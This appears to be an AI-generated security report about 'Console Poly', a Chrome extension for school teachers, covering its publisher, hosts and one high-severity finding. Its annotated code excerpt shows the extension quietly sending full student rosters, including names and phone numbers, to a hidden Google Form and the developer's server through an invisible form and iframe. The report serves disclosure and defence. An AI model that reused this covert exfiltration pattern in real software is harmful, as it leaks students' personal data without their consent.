Is Console Poly safe?

Medium risk

Console Poly sends the class roster and attendance record to a Google Form and its own server on every attendance submission.

When a teacher submits attendance on the school's own portal (gv.poly.edu.vn), the extension re-fetches the entire class roster, including student codes, logins, full names, phone numbers, and per-session attendance for up to 17 sessions. It then auto-submits this data into a hidden Google Form and separately posts it to console.poly.io.vn, an API run by the extension's own developer, both through invisible background requests with no confirmation shown to the teacher.

Thầy CườngPN11v2.3.3Chrome Web Store
45Risk
Who publishes it

Thầy CườngPN11 - no other listings under this identity, 3 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Thầy CườngPN11

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

cms.poly.edu.vn
Also called by 1 other listing: Easy Quiz Poly
fpl.udemy.com
Also called by 1 other listing: Easy Quiz Poly
fpl2.poly.edu.vn
Also called by 1 other listing: Easy Quiz Poly

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI FOUND

Console Poly sends the full class roster to two undisclosed servers

Code analysis shows attendance submission on gv.poly.edu.vn makes the extension re-fetch the class roster and send student names and phone numbers to a personal Google Form and the developer's own server, neither disclosed in the UI.

01EvidenceCAUSE EFFECT
What actually happens
You did this

A teacher submits the attendance form for a class on the school's own portal, gv.poly.edu.vn.

The extension did this

The extension re-fetches the class's full roster and attendance record, then sends it to two destinations it never discloses.

Code analysis shows this runs automatically on the next page load, with no confirmation shown to the teacher.

02EvidenceFIELD TABLE
Fields sent for every student in the class
FieldValueWhy it matters
Student ID code
PS12345Uniquely identifies the student in the school's own systems.
Login username
nguyenvanaThe student's portal login handle.
Full name
Nguyen Van AThe student's full name.
Phone number
0912345678The student's personal phone number.
Per-session attendance
P,P,A,P,P,-,PPresent or absent status for up to 17 class sessions.
03EvidenceCODE COMPARE
The code that does this

Flag set on the school form's submit event, read on the next page load to trigger the send

What it actually does
Submit listener sets the flag (annotated)scripts/content.js
if (localStorage.getItem("needSendAttendance") == "true") {
  // Fires on the page load right after an attendance submission.
  getUser(sendAttendance);
  localStorage.setItem("needSendAttendance", "false");
}
document.querySelector("form").addEventListener("submit", function () {
  // The school's own attendance form. No form field or logic here
  // discloses that this flag drives a later network send.
  localStorage.setItem("needSendAttendance", "true");
});
sendAttendance() reads it and sends the roster (annotated)scripts/content.js
  function sendAttendance() {
    // Re-fetches the FULL class roster + per-session attendance, not just
    // the one row the teacher just changed.
    httpGetAsync(
      `https://gv.poly.edu.vn/teacher/group/get_attendance_by_group_id/${
        document.querySelector('[name="group_id"]').value
      }?campus_code=${localStorage.getItem("campus_id") || "ps"}`,
      async function (res) {
        var data = JSON.parse(res);
        data = data.data;
        // console.log(data);
        var AP = { "-1": "-", 0: "A", 1: "P", 2: "p" };
        var sv = "";
        for (var item of data.members) {
          sv += `${item.user_code},${item.member_login},${item.fullname},${item.user.user_telephone}`;
          for (var i = 1; i <= 17; i++) {
            sv += `,${AP[item.attendance[i]]}`;
          }
          sv += "|";
        }
        sv = sv.slice(0, -1);
        // Builds a display:none form targeting an off-screen iframe ("basket"),
        // so the POST and its response are never visible to the teacher.
        if (document.querySelectorAll("#formAttendance").length == 0) {
          document.querySelector("#kt_footer").insertAdjacentHTML(
            "afterend",
            `
                <form id="formAttendance" style="display:none" action="https://docs.google.com/forms/u/0/d/e/1FAIpQLSdQOXfamcatySK0skO0bh1Vv0WpkxTLMrFkmG0Lc1ANK4uv6w/formResponse" method="POST" target="basket">
                    <input type="text" name="entry.815697730" id="entry.815697730" value="${getUrlSearch(
                      "class_name",
                    )}">
                    <input type="text" name="entry.1499380568" id="entry.1499380568" value="${getUrlSearch(
                      "subject_code",
                    )}">
                    <input type="text" name="entry.1418286398" id="entry.1418286398" value="${
                      user.code
                    }">
                    <input type="text" name="entry.2042509915" id="entry.2042509915" value="${
                      user.fullname
                    }">
                    <input type="text" name="entry.1419492371" id="entry.1419492371" value="${sv}">
                    <input type="hidden" name="pageHistory" value="0">
                    <button type="submit">Gửi</button>
                </form>
                <iframe id="basket" name="basket" style="display:none"></iframe>
                `,
          );
          document.querySelector("#formAttendance").submit();
        }
        let resData = await fetch(`${APIurl}/token`, {
          headers: {
            accept: "*/*",
            "sec-fetch-dest": "empty",
            "sec-fetch-mode": "cors",
            "sec-fetch-site": "cross-site",
          },
          referrerPolicy: "strict-origin-when-cross-origin",
          method: "GET",
          mode: "cors",
          credentials: "omit",
        }).then((res) => res.json());
        data.members = data.members.map((sv) => {
          return {
            id: sv.user_code,
            fullname: sv.fullname,
            attendance: sv.attendance,
            absent: sv.absent,
            absent_percent: sv.absent_percent,
            total_session: sv.total_session,
          };
        });
        // data = {data: data};
        let class_id = document.querySelector('[name="group_id"]').value;
        let body = {
          id: class_id,
          campus: localStorage.getItem("campus_id") || "ps",
          teacher: getUser().code,
          data: data,
        };
        if (getUrlSearch("class_name"))
          body["name"] = getUrlSearch("class_name");
        if (getUrlSearch("subject_code"))
          body["subject"] = getUrlSearch("subject_code");
        if (getUrlSearch("subject_name"))
          body["subject_name"] = decodeURIComponent(
            getUrlSearch("subject_name"),
          );
        // Second, parallel destination: the developer's own API
        // (APIurl = https://console.poly.io.vn/api), independent of the
        // Google Form above.
        fetch(`${APIurl}/attendance/${class_id}/save`, {
          headers: {
            accept: "application/json",
            "sec-fetch-mode": "cors",
            "sec-fetch-site": "cross-site",
            "x-csrf-token": resData.token,
          },
          referrerPolicy: "strict-origin-when-cross-origin",
          body: JSON.stringify(body),
          method: "POST",
        });

        console.log(data);
      },
    );
  }
04EvidenceTHIRD PARTY LIST
Where the class roster ends up
  • docs.google.com

    Receives the full roster through an auto-submitted, unbranded personal Google Form; the response target is an off-screen iframe so no confirmation is ever shown.

  • console.poly.io.vn

    The extension developer's own API (manifest id console-poly@cuongpham.vn); receives the same roster in a second, parallel request.

05EvidenceARTIFACT
Check if you're affected

Parses the pipe-and-comma-delimited roster string the extension builds client-side into a readable per-student table.

RequiresNode.js 18+
decode_attendance_payload.js · js
// decode_attendance_payload.js
// Reconstructs the readable table the extension builds in memory before
// sending it, from the pipe-delimited "sv" string format used in
// content.js's sendAttendance().
//
// Row format per student, comma-delimited:
//   user_code,member_login,fullname,user_telephone,<A/P per session x17>
// Rows are joined with "|".

const AP = { "-1": "-", "0": "A", "1": "P", "2": "p" };

function decodeRoster(sv) {
  return sv.split("|").filter(Boolean).map((row) => {
    const parts = row.split(",");
    const [user_code, member_login, fullname, user_telephone, ...sessions] = parts;
    return { user_code, member_login, fullname, user_telephone, sessions };
  });
}

// Example (illustrative, not a captured payload):
const example = "PS12345,nguyenvana,Nguyen Van A,0912345678,P,P,A,P,P,-,P";
console.log(decodeRoster(example));
How to run it
  1. 1
    Save this file.
  2. 2
    Run `node decode_attendance_payload.js`.
  3. 3
    Substitute a real 'sv' string to inspect any captured payload.
06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Console Poly contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • console.poly.io.vn

    Console Poly sends data to console.poly.io.vn. No other extension we have analysed sends data here.

  • docs.google.com (Google Forms)

    Console Poly sends data to docs.google.com (Google Forms). Named as a recipient in this extension's own analysis.

Updated 30 September 2026nifpgghaofnhhciippnafabgmpbbmdpb